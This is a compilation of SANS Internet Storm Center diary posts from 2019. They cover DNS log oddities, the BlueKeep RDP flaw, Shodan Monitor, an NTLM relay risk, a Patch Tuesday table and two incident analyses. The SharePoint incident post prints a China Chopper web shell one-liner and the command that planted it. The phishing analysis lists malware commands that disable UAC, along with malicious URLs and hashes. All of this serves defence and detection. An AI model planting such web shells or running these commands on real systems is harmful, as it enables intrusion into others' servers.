Category: SANS ISC Bulletins

I had to test a program on Windows using a particular drive letter.

So I was thinking of mounting an ISO file, or a VeraCrypt volume, and have a drive with that particular drive letter on my machine. And then I remember something … old … really old.

Back in the early nineties, I often had to do something similar on MS DOS. I used the SUBST command.

It still exists on Windows. You provide an unused drive letter and a path on an existing drive, and voilà:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I have been asked this question a few times, and figure it may be worthwhile to document this in a quick diary. This is typically the result of watching for odd DNS queries (and I highly recommend that). But not all DNS queries are created equal, and sometimes you will see odd, or even malicious, hostnames and domain names in your logs without any wrongdoing on your end.

The latest example I just ran into: faraisp.ir . IR being the country level domain for Iran, and I am currently not doing business with Iran, which certainly makes this a bit suspect if it bubbles up to the top of the “odd domain list”.

The queries for this domain came in at a rate of 100-150/5min in my Zeek logs:

Next, let’s break down all the queries for the “faraisp.ir” domain

You can click on the image to get a larger view. But the queries are essentially A/AAAA queries for ns[1-4].faraisp.ir. To add to this: they all came from my DNS server. Now the DNS server’s query log would usually be my next step. But in this case, the query log does not show any queries for *.faraisp.ir. I also didn’t see any queries from any of my hosts to the name server for *.faraisp.ir . The reason for these queries was that a prior query returned these hostnames as authority records. This triggered my name server to do a lookup for these hostnames. So I need to search for answers that contain faraisp.ir.

It turned out that a prior reverse lookup by the mail servers spam filter returned the authority record, and as a result, the name server then kept looking for ns[1-4].faraisp.ir. So why did the mail server try to reverse resolve the IP address over and over? My first guess was spam, but it turned out to be a brute force attack against the server:

May 23 16:47:35 mail postfix/smtpd[3420]: connect from unknown[185.137.111.145] May 23 16:47:42 mail postfix/smtpd[3420]: warning: unknown[185.137.111.145]: SASL LOGIN authentication failed: authentication failure May 23 16:47:42 mail postfix/smtpd[3420]: disconnect from unknown[185.137.111.145] May 23 16:47:58 mail postfix/smtpd[3420]: connect from unknown[185.137.111.44] May 23 16:48:05 mail postfix/smtpd[3420]: warning: unknown[185.137.111.44]: SASL LOGIN authentication failed: authentication failure May 23 16:48:05 mail postfix/smtpd[3420]: disconnect from unknown[185.137.111.44]

So at least not entirely a “false positive”, but also not terribly exciting. Mail servers are probably the main source of odd DNS queries. They tend to do a lot of reverse lookups for anti-spam, and they also use various DNS based anti-spam and email validation features that often look very much like data exfiltration. You will also see a lot of less common record types in DNS queries from mail servers (TXT, SPF..).

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

[Please comment if you have any feedback / suggested additions/corrections. You can also use our comment form ]

The most notable vulnerabilities patched by Microsoft last week addressed an input validation flaw in the Remote Desktop Service. To exploit the vulnerability, an attacker would send a specially crafted Remote Desktop Protocol (RDP) request to the Remote Desktop Service. The vulnerability is notable for several reasons:

• The exploitation of the vulnerability does not require authentication.
• An exploit may lead to arbitrary code execution.
• (too) many organizations are exposing RDP to the Internet.
• Windows 7 / 2008 and older are affected, going back to Windows XP.

Current Exploit Development Status

Several security vendors stated publicly that they developed exploits internally that will at least trigger a denial of service condition (blue screen). Currently, there are at least two public partial exploits [1][2].  One triggers the “vulnerable path” without triggering a blue screen or causing any other damage. It can be adjusted to play with the “channel” parameter to create normal and exploit traffic. The second one also triggers the vulnerability without any intended ill effect. The second exploit has been made available in the form of a stand-alone vulnerability scanner.

It does appear non-trivial to develop a reliable remote code execution exploit for this vulnerability, which will hopefully get us a few more days until one is publicly available. However, exploit development is active, and I don’t think you have more than a week.

Detection

The NCC Group publicly released a Suricata signature to detect attacks taking advantage of the exploit [3].  It is difficult to estimate how good the signature is. Cisco released rules for snort as well. Note that RDP usually uses TLS, and all current partial exploits use TLS, making the value of these rules questionable.

What you need to do NOW

Remember, we are coming up on a long weekend in the US. I hope you are well into mitigating this vulnerability as you read this, but here are a few things to consider:

• Do you have any systems running affected versions of Windows? Where are they located (e.g., are they confined to particular subnets)? Can you block port 3389 (RDP) inbound and possibly outbound?
• Deploy IDS/IPS rules to detect the exploit (just in case, but note the TLS issue above).
• Scan your network for open RDP. Do not just use the vulnerability scanner, but find out who is using RDP and why. RDP should not be exposed if possible.
• Follow up the scan with the vulnerability scanner.
• Patch! You want to patch this by Friday. For some organizations, the long weekend may provide a better patch window which is hopefully still ok.

Longer Term Fixes

Being vulnerable exposes two fundamental weaknesses in your network: You are still running Windows 7 (or XP??), and you are exposing RDP. Neither is good, and both issues need to be addressed. With this focus on RDP, there is a good chance that additional vulnerabilities will be found in the next few months. If this is true, then fire drills will continue until you can get these two issues resolved.

Upgrading from Windows 7 to 10, and upgrading from Windows Server 2008, should already be underway, so you may just accelerate what you are already doing. If you still run Windows XP: There better be a very good reason for it, and I hope that you have those systems adequately protected.

Eliminating RDP may be difficult for some organizations. But you can at least isolate it by requiring a VPN to connect to it, or by taking advantage of an RDP gateway supporting SSL. Take a look at some of the guidance offered by Microsoft [4]

Technical Details

Before authentication, RDP negotiates various parameters and capabilities. After initiating the connection with an X.224 connection request and having it confirmed by the server, the client will send a “Generic Conference Control (GCC) Conference Create Request.” Usually, this request defines three different channels. To trigger the exploit, an MS_T120 channel is added as a fourth channel. This channel should only bind to “channel 31”, but the exploit will bind it to another channel. The current signatures look for this particular artifact. McAfee’s blog offers an excellent summary of some of the details. [5]

I collected some packet captures from various normal and exploit tools. You can download the pcap files here: https://isc.sans.edu/diaryimages/BlueKeepPCAPs.tgz

[ note that some of the links below may trigger overly sensitive anti-malware scanners ]

[1] https://github.com/zerosum0x0/CVE-2019-0708
[2] https://github.com/n1xbyte/CVE-2019-0708/blob/master/poc.py
[3] https://github.com/nccgroup/Cyber-Defence/blob/master/Signatures/suricata/2019_05_rdp_cve_2019_0708.txt
[4] https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/welcome-to-rds
[5] https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/

—
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Back in March, Shodan started a new service called Shodan Monitor(1). What this service does is notify you of ports that are open on the network you  specify. When you initially setup your network, you put in your CIDR to monitor and then select notification triggers where you will get emails for any of these categories that show up on the specified network.   In the notification emails, you get a link to be able to whitelist systems. I’m finding that the uncommon ports to be chatty for large networks, and tend to whitelist many of these.

 

 

 

They have a heat map that shows you what hosts has the most open ports.  You can hover over them and see what system have the largest footprint on the Internet.

 

 

 

The Initial dashboard shows you the top port breakdown, notable ports and possible vulnerabilities for your networks you are watching.

 

 

 

 

While this list could be useful, it’s only gathering these details based on banner information, which web applications have lots of backported patches which make this less valuable for web.

 

 

 

 

While you can and should script this within you organization using Nmap, this is great way to validate and see what attackers are seeing from outside with little effort. Has anyone found other cool uses of this service yet?

 

(1) https://monitor.shodan.io/

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Over the past week, I started seeing attacks on Sharepoint servers using vulnerability CVE-2019-0604.  The Zero Day Initiative has a great write up(1) on the exploit of the vulnerability. 

Initial detection of the exploit came from endpoint exploit detection. When reviewing the IIS logs, we saw a post to the Picker.aspx. This appears to be the most common entry point for this attack exploiting CVE-2019-0604. 

Initial Log 
        2019-05-02 07:04:13 192.168.1.1 POST /_layouts/15/Picker.aspx – 443 – 121.147.96.8 python-requests/2.18.4 200 0 0 670

In the case of this attacker, they dropper a China Chopper payload on the server. China Chopper has been around for a long time. Crowdstrike did a great writeup(2) in 2015.  The payload for this is just a one-liner that was echoed into the files via command line. 

       <%eval(Request.Item["t"],"unsafe");

The anomaly that endpoint detected was a cmd shell spawning by w3wp.exe process. 

      Parent Process: w3wp.exe
      Process Name: cmd.exe

        “C:WindowsSystem32cmd.exe” /c echo ^^ > “%CommonProgramFiles%Microsoft SharedWeb Server             Extensions14TEMPLATELAYOUTSt.aspx” & echo ^^ > 
       “%CommonProgramFiles%Microsoft SharedWeb Server Extensions15TEMPLATELAYOUTSt.aspx” & echo ^^ > 
        “%CommonProgramFiles%Microsoft SharedWeb Server Extensions16TEMPLATELAYOUTSt.aspx”

While the attack appears to be an automated drive-by, the attackers did not come back and do any additional modifications to the server.

IOC’s 

Attackers IPS:
121[.]147[.]96[.]8    
211[.]222[.]223[.]14 
119[.]65[.]36[.]2 

User agent string:python-requests/2.18.4

Chopper Files created:
“%CommonProgramFiles%Microsoft SharedWeb Server Extensions16TEMPLATELAYOUTSt.aspx”
“%CommonProgramFiles%Microsoft SharedWeb Server Extensions15TEMPLATELAYOUTSt.aspx”
“%CommonProgramFiles%Microsoft SharedWeb Server Extensions14TEMPLATELAYOUTSt.aspx”

(1)https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
(2)https://www.crowdstrike.com/blog/chopping-packets-decoding-china-chopper-web-shell-traffic-over-ssl/

Thanks to my team for the analysis.

—

Tom Webb

@twsecblog

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Five years ago I wrote a diary how metadata could be used to detect suspicious activity[1]. Obviously collecting packets allows the analyst to scrutinize the payload which allows in-depth analysis. However, with higher content being encrypted and the cost of storing terabyte of packets, more organization are now looking at a metadata-only approach to be good enough to respond to incidents.

Lately, I had discussion on what might be the “next generation of super tools” to help catch bad actors in a network. If you already have logs from many sources plus metadata with full packet capture at some key locations, using tools like User and Entity Behavior Analytics (UEBA) and Endpoint Detection and Response (EDR) are becoming really effective in the network at catching bad actors are becoming in some cases, a replacement for full packet capture.

This appears to be true when combining data from sources such as network devices logs made available to review endpoint activities. Not that long ago, network forensic tools (NFTs) were storing everything in/out of a network as raw packets, but today’s fast networks is making this approach pretty much impractical for nearly everyone. This is where rich host and network metadata can capture most of the information required and provide much better investigative value for the money, it is easier and in most cases faster to find issues lurking in the network at a much lower computational and storage cost.

There are still some cases where metadata might be insufficient where packets capture might be required to complement the investigation but that is becoming rarer.

What do you think currently works best for you in detecting actors inside a network: logs, packets, UEBA, EDR or a combination of some of these tools?

[1] https://isc.sans.edu/forums/diary/Is+Metadata+the+Magic+in+Modern+Network+Security/16114
[2] https://isc.sans.edu/forums/diary/Mapping+Use+Cases+to+Logs+Which+Logs+are+the+Most+Important+to+Collect/22526/
[3] https://isc.sans.edu/diary/Collecting+Logs+from+Security+Devices+at+Home/14614

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

NTLM relay attacks have been a well-known opportunity to perform attacks against Microsoft Windows environments for a while and they remain usually successful. The magic with NTLM relay attacks? You don’t need to lose time to crack the hashes, just relay them to the victim machine. To achieve this, we need a “responder” that will capture the authentication session on a system and relay it to the victim. A lab is easy to setup: Install the Responder framework[1]. The framework contains a tool called MultiRelay.py which helps to relay the captured NTLM authentication to a specific target and, if the attack is successful, execute some code! (There are plenty of blog posts that explain in details how to (ab)use of this attack scenario).
 
Once you deployed all tools, you need to wait for an “interesting” user to connect on the infected system. How to find such kind of juicy users credentials? Most vulnerability scanners propose different scanning modes. The classic one is a non-authenticated scan based on available ports (compare this to a penetration test in “black box” mode). In many organizations, scans are performed in “authenticated mode”. This time, the scanner has credentials to connect to targets and is, therefore, able to access more information like the list of installed applications (compare this to a penetration test in “grey box” mode). See the example below with the free scanner OpenVAS[2]:

You can configure OpenVAS to collect information via SSH, SMB, SNMP or even connect to a VMware hypervisor. To achieve this, you need to provide valid credentials that have enough access rights to perform basic tasks on the scanned hosts.  

I was aware of a case where attackers implemented an NTLM relay on a first victim’s host and waited for some SMB authentication. The vulnerability scanner used credentials to perform an authenticated scan and its connection details were automatically reused to pivot internally and infect more hosts. Seen that such users have more rights to do their job, it’s always an interesting candidate for attackers.

So keep in mind that using security tools could also introduce some new risks! By the way, how to protect yourself against this type of attack? Use SMBv3 and enable SMB signing[2]!
 
[1] https://github.com/lgandx/Responder
[2] http://www.openvas.org/
[3] https://blogs.msdn.microsoft.com/openspecification/2017/05/26/smb-2-and-smb-3-security-in-windows-10-the-anatomy-of-signing-and-cryptographic-keys/
 
 
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework Denial of Service Vulnerability
%%cve:2019-0864%%	No	No	Less Likely	Less Likely	Important
.NET Framework and .NET Core Denial of Service Vulnerability
%%cve:2019-0820%%	No	No	Less Likely	Less Likely	Important
.Net Framework and .Net Core Denial of Service Vulnerability
%%cve:2019-0980%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0981%%	No	No	Less Likely	Less Likely	Important
ASP.NET Core Denial of Service Vulnerability
%%cve:2019-0982%%	No	No	Less Likely	Less Likely	Important
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability
%%cve:2019-0872%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0979%%	No	No	–	–	Important
Azure DevOps Server and Team Foundation Server Information Disclosure Vulnerability
%%cve:2019-0971%%	No	No	Less Likely	Less Likely	Important
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0912%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0913%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0914%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0915%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0916%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0917%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0922%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0923%%	No	No	–	–	Important	4.2	3.8
%%cve:2019-0924%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0925%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0927%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0933%%	No	No	–	–	Critical	4.2	3.8
%%cve:2019-0937%%	No	No	–	–	Critical	4.2	3.8
Diagnostic Hub Standard Collector, Visual Studio Standard Collector Elevation of Privilege Vulnerability
%%cve:2019-0727%%	No	No	Less Likely	Less Likely	Important	6.7	6.0
GDI+ Remote Code Execution Vulnerability
%%cve:2019-0903%%	No	No	More Likely	More Likely	Critical	8.8	7.9
Internet Explorer Information Disclosure Vulnerability
%%cve:2019-0930%%	No	No	More Likely	More Likely	Important	2.4	2.2
Internet Explorer Memory Corruption Vulnerability
%%cve:2019-0929%%	No	No	–	–	Critical	7.5	6.7
Internet Explorer Security Feature Bypass Vulnerability
%%cve:2019-0995%%	No	No	–	–	Important	7.3	6.6
Internet Explorer Spoofing Vulnerability
%%cve:2019-0921%%	No	No	Less Likely	Less Likely	Important	2.4	2.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0893%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0894%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0895%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0896%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0897%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0898%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0899%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0900%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0901%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0902%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0889%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0890%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0891%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Latest Servicing Stack Updates
ADV990001	No	No	–	–	Critical
May 2019 Adobe Flash Security Update
ADV190012	No	No	–	–	Critical
Microsoft Azure AD Connect Elevation of Privilege Vulnerability
%%cve:2019-1000%%	No	No	Less Likely	Less Likely	Important
Microsoft Browser Memory Corruption Vulnerability
%%cve:2019-0940%%	No	No	More Likely	More Likely	Critical	7.5	6.7
Microsoft Dynamics On-Premise Security Feature Bypass
%%cve:2019-1008%%	No	No	Less Likely	Less Likely	Important
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2019-0938%%	No	No	–	–	Important	4.2	3.8
Microsoft Edge Memory Corruption Vulnerability
%%cve:2019-0926%%	No	No	–	–	Critical	4.2	3.8
Microsoft Guidance to mitigate Microarchitectural Data Sampling vulnerabilities
ADV190013	No	No	More Likely	More Likely	Important
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2019-0945%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0946%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0947%%	No	No	–	–	Important
Microsoft Office SharePoint XSS Vulnerability
%%cve:2019-0963%%	No	No	–	–	Important
Microsoft SQL Server Analysis Services Information Disclosure Vulnerability
%%cve:2019-0819%%	No	No	Less Likely	Less Likely	Important
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2019-0957%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0958%%	No	No	Less Likely	Less Likely	Important
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2019-0956%%	No	No	–	–	Important
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2019-0952%%	No	No	–	–	Important
Microsoft SharePoint Spoofing Vulnerability
%%cve:2019-0949%%	No	No	–	–	Important
%%cve:2019-0950%%	No	No	–	–	Important
%%cve:2019-0951%%	No	No	–	–	Important
Microsoft Word Remote Code Execution Vulnerability
%%cve:2019-0953%%	No	No	Less Likely	Less Likely	Critical
NuGet Package Manager Tampering Vulnerability
%%cve:2019-0976%%	No	No	Less Likely	Less Likely	Important
Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2019-0708%%	No	No	–	–	Critical	9.8	8.8
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0884%%	No	No	More Likely	More Likely	Critical	6.4	5.8
%%cve:2019-0911%%	No	No	More Likely	More Likely	Critical	7.5	6.7
%%cve:2019-0918%%	No	No	More Likely	More Likely	Critical	7.5	6.7
Skype for Android Information Disclosure Vulnerability
%%cve:2019-0932%%	Yes	No	Less Likely	Less Likely	Important
Unified Write Filter Elevation of Privilege Vulnerability
%%cve:2019-0942%%	No	No	Less Likely	Less Likely	Important	4.4	4.0
Win32k Elevation of Privilege Vulnerability
%%cve:2019-0892%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows DHCP Server Remote Code Execution Vulnerability
%%cve:2019-0725%%	No	No	Less Likely	Less Likely	Critical	8.1	7.3
Windows Defender Application Control Security Feature Bypass Vulnerability
%%cve:2019-0733%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Windows Elevation of Privilege Vulnerability
%%cve:2019-0734%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0936%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2019-0863%%	Yes	Yes	Detected	Detected	Important	7.8	7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-0882%%	No	No	More Likely	More Likely	Important	4.7	4.2
%%cve:2019-0961%%	No	No	More Likely	More Likely	Important	4.7	4.2
%%cve:2019-0758%%	No	No	More Likely	More Likely	Important	4.7	4.2
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2019-0886%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-0881%%	No	No	More Likely	More Likely	Important	8.8	7.9
Windows NDIS Elevation of Privilege Vulnerability
%%cve:2019-0707%%	No	No	More Likely	More Likely	Important	7.0	6.3
Windows OLE Remote Code Execution Vulnerability
%%cve:2019-0885%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2019-0931%%	No	No	More Likely	More Likely	Important	7.0	6.3

—
Renato Marinho
Morphus Labs| LinkedIn| Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

On Friday, one of our readers reported a phishing attempt to us (thanks to him!). Usually, those emails are simply part of classic phishing waves and try to steal credentials from victims but, this time, it was not a simple phishing. Here is a copy of the email, which was nicely redacted:

When the victim clicks on thee “Review and take action” button, (s)he is redirected to a first website:

hxxp://xoxouload[.]ml

This automatically redirects to a second site via a HTTP/301 code:

hxxp://217[.]199[.187[.]73/verifiedvsa.com/www.office365.com/OneDrive.htm

The following picture is displayed:

Yes, this is just a simple picture, no links are active. Where is the issue? Two seconds after that page has been loaded, the browser asks the victim to save a file. The HTML code contains indeed a new redirect:

The shortened URL links to:

hxxp://lichxuanohha[.]com/wp-content/themes/xcx/i47.php

This URL drops a malicious file called “Academics.pdf.exe” (SHA256: ba2598fdd2e5c12e072fbe4c10fcdc6742bace92c0edba42ca4ca7bc195cb813). When I grabbed the file for the fist time on Friday, it was unknown on VT. Since, it has been uploaded by someone else and has a score of 47/71[1]. The file is identified by many AV’s as a Banking Trojan but, while performing a basic analysis, I found that the malware drops this picture on the target:

I search for this email address and found a Tweet by @malwarehunterteam from April 25:

Some actions performed by the malware:

C:Windowssystem32cmd.exe /c wusa C:UsersadminAppDataLocalTemp32.cab /quiet /extract:C:Windowssystem32migwiz & exit
wusa C:UsersadminAppDataLocalTemp32.cab /quiet /extract:C:Windowssystem32migwiz

This drops a crypt.dll in C:Windowssystem32migwiz (SHA256: 856623bc2e40d43960e2309f317f7d2c841650d91f2cd847003e0396299c3f98)[2]

"C:WindowsSystem32WScript.exe" "C:UsersadminAppDataLocalTemp888.vbs"
"C:WindowsSystem32migwizmigwiz.exe" C:WindowsSystem32cmd.exe /c C:WindowsSystem32reg.exe ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v EnableLUA /t REG_DWORD /d 0 /f

I saw many files created on the Desktop with filenames “lock_. but the honeypot files were not encrypted. I’m still having a look at the sample.

[1] https://www.virustotal.com/gui/file/ba2598fdd2e5c12e072fbe4c10fcdc6742bace92c0edba42ca4ca7bc195cb813/detection
[2] https://www.virustotal.com/gui/file/856623bc2e40d43960e2309f317f7d2c841650d91f2cd847003e0396299c3f98/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.